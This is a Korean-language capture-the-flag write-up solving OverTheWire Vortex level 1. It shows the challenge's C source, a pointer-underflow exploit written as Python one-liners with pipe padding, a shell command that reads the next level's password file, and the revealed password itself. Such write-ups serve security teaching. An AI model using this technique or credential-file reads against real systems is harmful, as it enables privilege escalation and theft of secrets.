http://www.overthewire.org/wargames/vortex/level1.shtml
먼저 소스를 보면 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++)
printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF)
{
switch(x)
{
case '\n':
print(buf, sizeof(buf));
continue;
break;
case '\\':
ptr--;
break;
default:
e();
if(ptr > buf + sizeof(buf))
continue;
ptr++[0] = x;
break;
}
}
printf("All done\n");
}
문제의 포인트는 "\" 문자를 입력하여 포인터의 위치를 바꿔 우리가 define된 조건에 만족시키는 것이다.
먼저 아래와 같이 공격을 해보았다.
vortex1@games ~ $ python -c "print '\\\\'*257 + '\xca\xca'" | /vortex/level1
sh-3.2$ exit
vortex1@games ~ $
쉘이 떨어지긴 하나 바로 exit 된다. 이유를 확인한 결과 pipe(|)에서 4096 바이트 이하의 값은 모두 먹어버려 쉘에 명령어가 전달이 안된다고 한다. 그래서 쓰레기 값을 넣어 주도록 하자.
\\ (257) + \xca\xca (2) + a (3836) + \n (1) = 4095
vortex1@games ~ $ python -c "print '\\\\'*257 + '\xca\xca' + 'a'*3836 + '\n' + 'cat /etc/vortex_pass/vortex2'" | /vortex/level1
sh-3.2$ 23anbT\rE
sh-3.2$ exit